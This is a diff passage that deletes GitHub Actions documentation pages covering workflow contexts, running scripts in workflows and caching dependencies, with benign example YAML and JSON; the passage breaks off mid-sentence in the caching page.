[`push` webhook payload](/webhooks-and-events/webhooks/webhook-events-and-payloads#push). - -{% data reusables.actions.context-example-note %} - -```json -{ - "token": "***", - "job": "dump_contexts_to_log", - "ref": "refs/heads/my_branch", - "sha": "c27d339ee6075c1f744c5d4b200f7901aad2c369", - "repository": "octocat/hello-world", - "repository_owner": "octocat", - "repositoryUrl": "git://github.com/octocat/hello-world.git", - "run_id": "1536140711", - "run_number": "314", - "retention_days": "90", - "run_attempt": "1", - "actor": "octocat", - "workflow": "Context testing", - "head_ref": "", - "base_ref": "", - "event_name": "push", - "event": { - ... - }, - "server_url": "https://github.com", - "api_url": "https://api.github.com", - "graphql_url": "https://api.github.com/graphql", - "ref_name": "my_branch", - "ref_protected": false, - "ref_type": "branch", - "secret_source": "Actions", - "workspace": "/home/runner/work/hello-world/hello-world", - "action": "github_step", - "event_path": "/home/runner/work/_temp/_github_workflow/event.json", - "action_repository": "", - "action_ref": "", - "path": "/home/runner/work/_temp/_runner_file_commands/add_path_b037e7b5-1c88-48e2-bf78-eaaab5e02602", - "env": "/home/runner/work/_temp/_runner_file_commands/set_env_b037e7b5-1c88-48e2-bf78-eaaab5e02602" -} -``` - -### Example usage of the `github` context - -This example workflow uses the `github.event_name` context to run a job only if the workflow run was triggered by the `pull_request` event. - -```yaml copy -name: Run CI -on: [push, pull_request] - -jobs: - normal_ci: - runs-on: ubuntu-latest - steps: - - name: Run normal CI - run: echo "Running normal CI" - - pull_request_ci: - runs-on: ubuntu-latest - if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %} - steps: - - name: Run PR CI - run: echo "Running PR only CI" -``` - -## `env` context - -The `env` context contains variables that have been set in a workflow, job, or step. It does not contain variables inherited by the runner process. For more information about setting variables in your workflow, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#env). - -You can retrieve the values of variables stored in `env` context and use these values in your workflow file. You can use the `env` context in any key in a workflow step except for the `id` and `uses` keys. For more information on the step syntax, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsteps). - -If you want to use the value of a variable inside a runner, use the runner operating system's normal method for reading environment variables. - -| Property name | Type | Description | -|---------------|------|-------------| -| `env` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains the properties listed below. | -| `env.<env_name>` | `string` | The value of a specific environment variable. | - -### Example contents of the `env` context - -The contents of the `env` context is a mapping of variable names to their values. The context's contents can change depending on where it is used in the workflow run. In this example, the `env` context contains two variables. - -```json -{ - "first_name": "Mona", - "super_duper_var": "totally_awesome" -} -``` - -### Example usage of the `env` context - -This example workflow shows variables being set in the `env` context at the workflow, job, and step levels. The `{% raw %}${{ env.VARIABLE-NAME }}{% endraw %}` syntax is then used to retrieve variable values within individual steps in the workflow. - -{% data reusables.repositories.actions-env-var-note %} - -{% raw %} - -```yaml copy -name: Hi Mascot -on: push -env: - mascot: Mona - super_duper_var: totally_awesome - -jobs: - windows_job: - runs-on: windows-latest - steps: - - run: echo 'Hi ${{ env.mascot }}' # Hi Mona - - run: echo 'Hi ${{ env.mascot }}' # Hi Octocat - env: - mascot: Octocat - linux_job: - runs-on: ubuntu-latest - env: - mascot: Tux - steps: - - run: echo 'Hi ${{ env.mascot }}' # Hi Tux -``` - -{% endraw %} - -## `vars` context - -{% data reusables.actions.configuration-variables-beta-note %} - -The `vars` context contains custom configuration variables set at the organization, repository, and environment levels. For more information about defining configuration variables for use in multiple workflows, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-variables-for-multiple-workflows). - -### Example contents of the `vars` context - -The contents of the `vars` context is a mapping of configuration variable names to their values. - -```json -{ - "mascot": "Mona" -} -``` - -### Example usage of the `vars` context - -This example workflow shows how configuration variables set at the repository, environment, or organization levels are automatically available using the `vars` context. - -> [!NOTE] -> Configuration variables at the environment level are automatically available after their environment is declared by the runner. - -{% data reusables.actions.actions-vars-context-example-usage %} - -## `job` context - -The `job` context contains information about the currently running job. - -| Property name | Type | Description | -|---------------|------|-------------| -| `job` | `object` | This context changes for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. | -| `job.container` | `object` | Information about the job's container. For more information about containers, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontainer). | -| `job.container.id` | `string` | The ID of the container. | -| `job.container.network` | `string` | The ID of the container network. The runner creates the network used by all containers in a job. | -| `job.services` | `object` | The service containers created for a job. For more information about service containers, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idservices). | -| `job.services.<service_id>.id` | `string` | The ID of the service container. | -| `job.services.<service_id>.network` | `string` | The ID of the service container network. The runner creates the network used by all containers in a job. | -| `job.services.<service_id>.ports` | `object` | The exposed ports of the service container. | -| `job.status` | `string` | The current status of the job. Possible values are `success`, `failure`, or `cancelled`. | - -### Example contents of the `job` context - -This example `job` context uses a PostgreSQL service container with mapped ports. If there are no containers or service containers used in a job, the `job` context only contains the `status` property. - -```json -{ - "status": "success", - "container": { - "network": "github_network_53269bd575974817b43f4733536b200c" - }, - "services": { - "postgres": { - "id": "60972d9aa486605e66b0dad4abb638dc3d9116f566579e418166eedb8abb9105", - "ports": { - "5432": "49153" - }, - "network": "github_network_53269bd575974817b43f4733536b200c" - } - } -} -``` - -### Example usage of the `job` context - -This example workflow configures a PostgreSQL service container, and automatically maps port 5432 in the service container to a randomly chosen available port on the host. The `job` context is used to access the number of the port that was assigned on the host. - -```yaml copy -name: PostgreSQL Service Example -on: push -jobs: - postgres-job: - runs-on: ubuntu-latest - services: - postgres: - image: postgres - env: - POSTGRES_PASSWORD: postgres - options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5 - ports: - # Maps TCP port 5432 in the service container to a randomly chosen available port on the host. - - 5432 - - steps: - - run: pg_isready -h localhost -p {% raw %}${{ job.services.postgres.ports[5432] }}{% endraw %} - - run: echo "Run tests against Postgres" -``` - -## `jobs` context - -The `jobs` context is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow). - -| Property name | Type | Description | -|---------------|------|-------------| -| `jobs` | `object` | This is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. This object contains all the properties listed below. -| `jobs.<job_id>.result` | `string` | The result of a job in the reusable workflow. Possible values are `success`, `failure`, `cancelled`, or `skipped`. | -| `jobs.<job_id>.outputs` | `object` | The set of outputs of a job in a reusable workflow. | -| `jobs.<job_id>.outputs.<output_name>` | `string` | The value of a specific output for a job in a reusable workflow. | - -### Example contents of the `jobs` context - -This example `jobs` context contains the result and outputs of a job from a reusable workflow run. - -```json -{ - "example_job": { - "result": "success", - "outputs": { - "output1": "hello", - "output2": "world" - } - } -} -``` - -### Example usage of the `jobs` context - -This example reusable workflow uses the `jobs` context to set outputs for the reusable workflow. Note how the outputs flow up from the steps, to the job, then to the `workflow_call` trigger. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow). - -{% raw %} - -```yaml copy -name: Reusable workflow - -on: - workflow_call: - # Map the workflow outputs to job outputs - outputs: - firstword: - description: "The first output string" - value: ${{ jobs.example_job.outputs.output1 }} - secondword: - description: "The second output string" - value: ${{ jobs.example_job.outputs.output2 }} - -jobs: - example_job: - name: Generate output - runs-on: ubuntu-latest - # Map the job outputs to step outputs - outputs: - output1: ${{ steps.step1.outputs.firstword }} - output2: ${{ steps.step2.outputs.secondword }} - steps: - - id: step1 - run: echo "firstword=hello" >> $GITHUB_OUTPUT - - id: step2 - run: echo "secondword=world" >> $GITHUB_OUTPUT -``` - -{% endraw %} - -## `steps` context - -The `steps` context contains information about the steps in the current job that have an [`id`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified and have already run. - -| Property name | Type | Description | -|---------------|------|-------------| -| `steps` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains all the properties listed below. | -| `steps.<step_id>.outputs` | `object` | The set of outputs defined for the step. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions). | -| `steps.<step_id>.conclusion` | `string` | The result of a completed step after [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. | -| `steps.<step_id>.outcome` | `string` | The result of a completed step before [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. | -| `steps.<step_id>.outputs.<output_name>` | `string` | The value of a specific output. | - -### Example contents of the `steps` context - -This example `steps` context shows two previous steps that had an [`id`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified. The first step had the `id` named `checkout`, the second `generate_number`. The `generate_number` step had an output named `random_number`. - -```json -{ - "checkout": { - "outputs": {}, - "outcome": "success", - "conclusion": "success" - }, - "generate_number": { - "outputs": { - "random_number": "1" - }, - "outcome": "success", - "conclusion": "success" - } -} -``` - -### Example usage of the `steps` context - -This example workflow generates a random number as an output in one step, and a later step uses the `steps` context to read the value of that output. - -```yaml copy -name: Generate random failure -on: push -jobs: - randomly-failing-job: - runs-on: ubuntu-latest - steps: - - name: Generate 0 or 1 - id: generate_number - run: echo "random_number=$(($RANDOM % 2))" >> $GITHUB_OUTPUT - - name: Pass or fail - run: | - if [[ {% raw %}${{ steps.generate_number.outputs.random_number }}{% endraw %} == 0 ]]; then exit 0; else exit 1; fi -``` - -## `runner` context - -The `runner` context contains information about the runner that is executing the current job. - -| Property name | Type | Description | -|---------------|------|-------------| -| `runner` | `object` | This context changes for each job in a workflow run. This object contains all the properties listed below. | -| `runner.name` | `string` | {% data reusables.actions.runner-name-description %} | -| `runner.os` | `string` | {% data reusables.actions.runner-os-description %} | -| `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} | -| `runner.temp` | `string` | {% data reusables.actions.runner-temp-directory-description %} | -| `runner.tool_cache` | `string` | {% data reusables.actions.runner-tool-cache-description %} | -| `runner.debug` | `string` | {% data reusables.actions.runner-debug-description %} | -| `runner.environment` | `string` | {% data reusables.actions.runner-environment-description %} | - -### Example contents of the `runner` context - -The following example context is from a Linux {% data variables.product.prodname_dotcom %}-hosted runner. - -```json -{ - "os": "Linux", - "arch": "X64", - "name": "GitHub Actions 2", - "tool_cache": "/opt/hostedtoolcache", - "temp": "/home/runner/work/_temp" - {%- comment %} - # The `runner.workspace` property is purposefully not documented. It is an early Actions property that now isn't relevant for users, compared to `github.workspace`. It is kept around for compatibility. - "workspace": "/home/runner/work/hello-world" - {%- endcomment %} -} -``` - -### Example usage of the `runner` context - -This example workflow uses the `runner` context to set the path to the temporary directory to write logs, and if the workflow fails, it uploads those logs as artifact. - -```yaml copy -name: Build -on: push - -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Build with logs - run: | - mkdir {% raw %}${{ runner.temp }}{% endraw %}/build_logs - echo "Logs from building" > {% raw %}${{ runner.temp }}{% endraw %}/build_logs/build.logs - exit 1 - - name: Upload logs on fail - if: {% raw %}${{ failure() }}{% endraw %} - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: Build failure logs - path: {% raw %}${{ runner.temp }}{% endraw %}/build_logs -``` - -## `secrets` context - -The `secrets` context contains the names and values of secrets that are available to a workflow run. The `secrets` context is not available for composite actions due to security reasons. If you want to pass a secret to a composite action, you need to do it explicitly as an input. For more information about secrets, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -`GITHUB_TOKEN` is a secret that is automatically created for every workflow run, and is always included in the `secrets` context. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -{% data reusables.actions.secrets-redaction-warning %} - -| Property name | Type | Description | -|---------------|------|-------------| -| `secrets` | `object` | This context is the same for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. | -| `secrets.GITHUB_TOKEN` | `string` | Automatically created token for each workflow run. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). | -| `secrets.<secret_name>` | `string` | The value of a specific secret. | - -### Example contents of the `secrets` context - -The following example contents of the `secrets` context shows the automatic `GITHUB_TOKEN`, as well as two other secrets available to the workflow run. - -```json -{ - "github_token": "***", - "NPM_TOKEN": "***", - "SUPERSECRET": "***" -} -``` - -### Example usage of the `secrets` context - -{% data reusables.actions.github_token-input-example %} - -## `strategy` context - -For workflows with a matrix, the `strategy` context contains information about the matrix execution strategy for the current job. - -| Property name | Type | Description | -|---------------|------|-------------| -| `strategy` | `object` | This context changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. | -| `strategy.fail-fast` | `boolean` | When this evaluates to `true`, all in-progress jobs are canceled if any job in a matrix fails. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast). | -| `strategy.job-index` | `number` | The index of the current job in the matrix. **Note:** This number is a zero-based number. The first job's index in the matrix is `0`. | -| `strategy.job-total` | `number` | The total number of jobs in the matrix. **Note:** This number **is not** a zero-based number. For example, for a matrix with four jobs, the value of `job-total` is `4`. | -| `strategy.max-parallel` | `number` | The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel). | - -### Example contents of the `strategy` context - -The following example contents of the `strategy` context is from a matrix with four jobs, and is taken from the final job. Note the difference between the zero-based `job-index` number, and `job-total` which is not zero-based. - -```json -{ - "fail-fast": true, - "job-index": 3, - "job-total": 4, - "max-parallel": 4 -} -``` - -### Example usage of the `strategy` context - -This example workflow uses the `strategy.job-index` property to set a unique name for a log file for each job in a matrix. - -```yaml copy -name: Test strategy -on: push - -jobs: - test: - runs-on: ubuntu-latest - strategy: - matrix: - test-group: [1, 2] - node: [14, 16] - steps: - - run: echo "Mock test logs" > test-job-{% raw %}${{ strategy.job-index }}{% endraw %}.txt - - name: Upload logs - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: Build log for job {% raw %}${{ strategy.job-index }}{% endraw %} - path: test-job-{% raw %}${{ strategy.job-index }}{% endraw %}.txt -``` - -## `matrix` context - -For workflows with a matrix, the `matrix` context contains the matrix properties defined in the workflow file that apply to the current job. For example, if you configure a matrix with the `os` and `node` keys, the `matrix` context object includes the `os` and `node` properties with the values that are being used for the current job. - -There are no standard properties in the `matrix` context, only those which are defined in the workflow file. - -| Property name | Type | Description | -|---------------|------|-------------| -| `matrix` | `object` | This context is only available for jobs in a matrix, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains the properties listed below. | -| `matrix.<property_name>` | `string` | The value of a matrix property. | - -### Example contents of the `matrix` context - -The following example contents of the `matrix` context is from a job in a matrix that has the `os` and `node` matrix properties defined in the workflow. The job is executing the matrix combination of an `ubuntu-latest` OS and Node.js version `16`. - -```json -{ - "os": "ubuntu-latest", - "node": 16 -} -``` - -### Example usage of the `matrix` context - -This example workflow creates a matrix with `os` and `node` keys. It uses the `matrix.os` property to set the runner type for each job, and uses the `matrix.node` property to set the Node.js version for each job. - -```yaml copy -name: Test matrix -on: push - -jobs: - build: - runs-on: {% raw %}${{ matrix.os }}{% endraw %} - strategy: - matrix: - os: [ubuntu-latest, windows-latest] - node: [14, 16] - steps: - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: {% raw %}${{ matrix.node }}{% endraw %} - - name: Output node version - run: node --version -``` - -## `needs` context - -The `needs` context contains outputs from all jobs that are defined as a direct dependency of the current job. Note that this doesn't include implicitly dependent jobs (for example, dependent jobs of a dependent job). For more information on defining job dependencies, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds). - -| Property name | Type | Description | -|---------------|------|-------------| -| `needs` | `object` | This context is only populated for workflow runs that have dependent jobs, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. | -| `needs.<job_id>` | `object` | A single job that the current job depends on. | -| `needs.<job_id>.outputs` | `object` | The set of outputs of a job that the current job depends on. | -| `needs.<job_id>.outputs.<output name>` | `string` | The value of a specific output for a job that the current job depends on. | -| `needs.<job_id>.result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. | - -### Example contents of the `needs` context - -The following example contents of the `needs` context shows information for two jobs that the current job depends on. - -```json -{ - "build": { - "result": "success", - "outputs": { - "build_id": "123456" - } - }, - "deploy": { - "result": "failure", - "outputs": {} - } -} -``` - -### Example usage of the `needs` context - -This example workflow has three jobs: a `build` job that does a build, a `deploy` job that requires the `build` job, and a `debug` job that requires both the `build` and `deploy` jobs and runs only if there is a failure in the workflow. The `deploy` job also uses the `needs` context to access an output from the `build` job. - -```yaml copy -name: Build and deploy -on: push - -jobs: - build: - runs-on: ubuntu-latest - outputs: - build_id: {% raw %}${{ steps.build_step.outputs.build_id }}{% endraw %} - steps: - - name: Build - id: build_step - run: echo "build_id=$RANDOM" >> $GITHUB_OUTPUT - deploy: - needs: build - runs-on: ubuntu-latest - steps: - - run: echo "Deploying build {% raw %}${{ needs.build.outputs.build_id }}{% endraw %}" - debug: - needs: [build, deploy] - runs-on: ubuntu-latest - if: {% raw %}${{ failure() }}{% endraw %} - steps: - - run: echo "Failed to build and deploy" -``` - -## `inputs` context - -The `inputs` context contains input properties passed to an action, to a reusable workflow, or to a manually triggered workflow. For reusable workflows, the input names and types are defined in the [`workflow_call` event configuration](/actions/using-workflows/events-that-trigger-workflows#workflow-reuse-events) of a reusable workflow, and the input values are passed from [`jobs.<job_id>.with`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idwith) in an external workflow that calls the reusable workflow. For manually triggered workflows, the inputs are defined in the [`workflow_dispatch` event configuration](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch) of a workflow. - -The properties in the `inputs` context are defined in the workflow file. They are only available in a [reusable workflow](/actions/using-workflows/reusing-workflows) or in a workflow triggered by the [`workflow_dispatch` event](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch) - -| Property name | Type | Description | -|---------------|------|-------------| -| `inputs` | `object` | This context is only available in a [reusable workflow](/actions/using-workflows/reusing-workflows) or in a workflow triggered by the [`workflow_dispatch` event](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch). You can access this context from any job or step in a workflow. This object contains the properties listed below. | -| `inputs.<name>` | `string` or `number` or `boolean` or `choice` | Each input value passed from an external workflow. | - -### Example contents of the `inputs` context - -The following example contents of the `inputs` context is from a workflow that has defined the `build_id`, `deploy_target`, and `perform_deploy` inputs. - -```json -{ - "build_id": 123456768, - "deploy_target": "deployment_sys_1a", - "perform_deploy": true -} -``` - -### Example usage of the `inputs` context in a reusable workflow - -This example reusable workflow uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the reusable workflow from the caller workflow. - -{% raw %} - -```yaml copy -name: Reusable deploy workflow -on: - workflow_call: - inputs: - build_id: - required: true - type: number - deploy_target: - required: true - type: string - perform_deploy: - required: true - type: boolean - -jobs: - deploy: - runs-on: ubuntu-latest - if: ${{ inputs.perform_deploy }} - steps: - - name: Deploy build to target - run: echo "Deploying build:${{ inputs.build_id }} to target:${{ inputs.deploy_target }}" -``` - -{% endraw %} - -### Example usage of the `inputs` context in a manually triggered workflow - -This example workflow triggered by a `workflow_dispatch` event uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the workflow. - -{% raw %} - -```yaml copy -on: - workflow_dispatch: - inputs: - build_id: - required: true - type: string - deploy_target: - required: true - type: string - perform_deploy: - required: true - type: boolean - -jobs: - deploy: - runs-on: ubuntu-latest - if: ${{ inputs.perform_deploy }} - steps: - - name: Deploy build to target - run: echo "Deploying build:${{ inputs.build_id }} to target:${{ inputs.deploy_target }}" -``` - -{% endraw %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/adding-scripts-to-your-workflow.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/adding-scripts-to-your-workflow.md deleted file mode 100644 index abf8b8316887..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/adding-scripts-to-your-workflow.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Adding scripts to your workflow -shortTitle: Add scripts -intro: 'You can use {% data variables.product.prodname_actions %} workflows to run scripts.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -You can use a {% data variables.product.prodname_actions %} workflow to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how to use the `run` keyword to execute the command `npm install -g bats` on the runner. - -```yaml -jobs: - example-job: - runs-on: ubuntu-latest - steps: - - run: npm install -g bats -``` - -To use a workflow to run a script stored in your repository you must first check out the repository to the runner. Having done this, you can use the `run` keyword to run the script on the runner. The following example runs two scripts, each in a separate job step. The location of the scripts on the runner is specified by setting a default working directory for run commands. For more information, see [AUTOTITLE](/actions/using-jobs/setting-default-values-for-jobs). - -```yaml -jobs: - example-job: - runs-on: ubuntu-latest - defaults: - run: - working-directory: ./scripts - steps: - - name: Check out the repository to the runner - uses: {% data reusables.actions.action-checkout %} - - name: Run a script - run: ./my-script.sh - - name: Run another script - run: ./my-other-script.sh -``` - -Any scripts that you want a workflow job to run must be executable. You can do this either within the workflow by passing the script as an argument to the interpreter that will run the script - for example, `run: bash script.sh` - or by making the file itself executable. You can give the file the execute permission by using the command `git update-index --chmod=+x PATH/TO/YOUR/script.sh` locally, then committing and pushing the file to the repository. Alternatively, for workflows that are run on Linux and Mac runners, you can add a command to give the file the execute permission in the workflow job, prior to running the script: - -```yaml -jobs: - example-job: - runs-on: ubuntu-latest - defaults: - run: - working-directory: ./scripts - steps: - - name: Check out the repository to the runner - uses: {% data reusables.actions.action-checkout %} - - name: Make the script files executable - run: chmod +x my-script.sh my-other-script.sh - - name: Run the scripts - run: | - ./my-script.sh - ./my-other-script.sh -``` - -For more information about the `run` keyword, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun). diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows.md deleted file mode 100644 index 23b704418e27..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows.md +++ /dev/null @@ -1,362 +0,0 @@ ---- -title: Caching dependencies to speed up workflows -shortTitle: Cache dependencies -intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows - - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows - - /actions/configuring-and-managing-workflows/caching-dependencies-to-speed-up-workflows - - /actions/guides/caching-dependencies-to-speed-up-workflows - - /actions/advanced-guides/caching-dependencies-to-speed-up-workflows - - /actions/using-workflows/caching-dependencies-to-speed-up-workflows -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Workflows ---- - -## About caching workflow dependencies - -Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies. - -{% ifversion fpt or ghec %} Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean runner image and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. {% endif %}To help speed up the time it takes to recreate files like dependencies, {% data variables.product.prodname_dotcom %} can cache files you frequently use in workflows. - -To cache dependencies for a job, you can use {% data variables.product.prodname_dotcom %}'s [`cache` action](https://github.com/actions/cache). The action creates and restores a cache identified by a unique key. Alternatively, if you are caching the package managers listed below, using their respective setup-* actions requires minimal configuration and will create and restore dependency caches for you. - -| Package managers | setup-* action for caching | -|---|---| -| npm, Yarn, pnpm | [setup-node](https://github.com/actions/setup-node#caching-global-packages-data) | -| pip, pipenv, Poetry | [setup-python](https://github.com/actions/setup-python#caching-packages-dependencies) | -| Gradle, Maven | [setup-java](https://github.com/actions/setup-java#caching-packages-dependencies) | -| RubyGems | [setup-ruby](https://github.com/ruby/setup-ruby#caching-bundle-install-automatically) | -| Go `go.sum` | [setup-go](https://github.com/actions/setup-go#caching-dependency-files-and-build-outputs) | -| .NET NuGet | [setup-dotnet](https://github.com/actions/setup-dotnet?tab=readme-ov-file#caching-nuget-packages) | - -> [!WARNING] -> {% ifversion fpt or ghec %}Be mindful of the following when using caching with {% data variables.product.prodname_actions %}: -> -> * {% endif %}We recommend that you don't store any sensitive information in the cache. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of a cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch. -{%- ifversion fpt or ghec %} -> * When using self-hosted runners, caches from workflow runs are stored on {% data variables.product.company_short %}-owned cloud storage. A customer-owned storage solution is only available with {% data variables.product.prodname_ghe_server %}. -{%- endif %} - -{% data reusables.actions.comparing-artifacts-caching %} - -For more information on workflow run artifacts, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -## Restrictions for accessing a cache - -Access restrictions provide cache isolation and security by creating a logical boundary between different branches or tags. -Workflow runs can restore caches created in either the current branch or the default branch (usually `main`). If a workflow run is triggered for a pull request, it can also restore caches created in the base branch, including base branches of forked repositories. For example, if the branch `feature-b` has the base branch `feature-a`, a workflow run triggered on a pull request would have access to caches created in the default `main` branch, the base `feature-a` branch, and the current `feature-b` branch. - -Workflow runs cannot restore caches created for child branches or sibling branches. For example, a cache created for the child `feature-b` branch would not be accessible to a workflow run triggered on the parent `main` branch. Similarly, a cache created for the `feature-a` branch with the base `main` would not be accessible to its sibling `feature-c` branch with the base `main`. Workflow runs also cannot restore caches created for different tag names. For example, a cache created for the tag `release-a` with the base `main` would not be accessible to a workflow run triggered for the tag `release-b` with the base `main`. - -When a cache is created by a workflow run triggered on a pull request, the cache is created for the merge ref (`refs/pull/.../merge`). Because of this, the cache will have a limited scope and can only be restored by re-runs of the pull request. It cannot be restored by the base branch or other pull requests targeting that base branch. - -Multiple workflow runs in a repository can share caches. A cache created for a branch in a workflow run can be accessed and restored from another workflow run for the same repository and branch. - -{% ifversion ghes %} - -> [!NOTE] -> As objects are retrieved from or put into the cache directly from runners, Actions runners must have direct connectivity to the Actions object storage configured in {% data variables.product.prodname_ghe_server %}, such as AWS S3 or Azure Blob Storage. Self-hosted runners authenticate with the blob storage provider using an access URL provided by the {% data variables.product.prodname_ghe_server %} instance. This URL supplies the blob storage provider with valid temporary authentication credentials. This process is initiated by the instance itself, which mediates all requests to the object storage. -> -> This means that `actions/cache` requires a HTTPS connection to the blob storage in order to work correctly. -> -> All the metadata are managed by the artifact cache service, which is a microservice within {% data variables.product.prodname_actions %}. -> -> For more information on cache storage, see [External storage requirements](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements). - -{% endif %} - -## Using the `cache` action - -The [`cache` action](https://github.com/actions/cache) will attempt to restore a cache based on the `key` you provide. When the action finds a cache that _exactly_ matches the key, the action restores the cached files to the `path` you configure. -You can optionally provide a list of `restore-keys` to use in case the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can _partially_ match cache keys. For more information about matching `restore-keys`, see [Matching a cache key](#matching-a-cache-key). - -If there is an exact match to the provided `key`, this is considered a cache hit. If no cache exactly matches the provided `key`, this is considered a cache miss. On a cache miss, the action automatically creates a new cache if the job completes successfully. The new cache will use the `key` you provided and contains the files you specify in `path`. For more information about how this is handled, see [Cache hits and misses](#cache-hits-and-misses). - -You cannot change the contents of an existing cache. Instead, you can create a new cache with a new key. - -### Input parameters for the `cache` action - -* `key`: **Required** The key created when saving a cache and the key used to search for a cache. It can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail. -* `path`: **Required** The path(s) on the runner to cache or restore. - * You can specify a single path, or you can add multiple paths on separate lines. For example: - - ```yaml - - name: Cache Gradle packages - uses: {% data reusables.actions.action-cache %} - with: - path: | - ~/.gradle/caches - ~/.gradle/wrapper - ``` - - * You can specify either directories or single files, and glob patterns are supported. - * You can specify absolute paths, or paths relative to the workspace directory. -* `restore-keys`: **Optional** A string containing alternative restore keys, with each restore key placed on a new line. If no cache hit occurs for `key`, these restore keys are used sequentially in the order provided to find and restore a cache. For example: - - {% raw %} - - ```yaml - restore-keys: | - npm-feature-${{ hashFiles('package-lock.json') }} - npm-feature- - npm- - ``` - - {% endraw %} - -* `enableCrossOsArchive`: **Optional** A boolean value that when enabled, allows Windows runners to save or restore caches independent of the operating system the cache was created on. If this parameter is not set, it defaults to `false`. For more information, see [Cross OS cache](https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cross-os-cache) in the Actions Cache documentation. - -### Output parameters for the `cache` action - -* `cache-hit`: A boolean value to indicate an exact match was found for the key. - -### Cache hits and misses - -When `key` exactly matches an existing cache, it's called a _cache hit_, and the action restores the cached files to the `path` directory. - -When `key` doesn't match an existing cache, it's called a _cache miss_, and a new cache is automatically created if the job completes successfully. - -When a cache miss occurs, the action also searches your specified `restore-keys` for any matches: - -1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`. - * When there is an exact match, the action restores the files in the cache to the `path` directory. - * If there are no exact matches, the action searches for partial matches of the restore keys. When the action 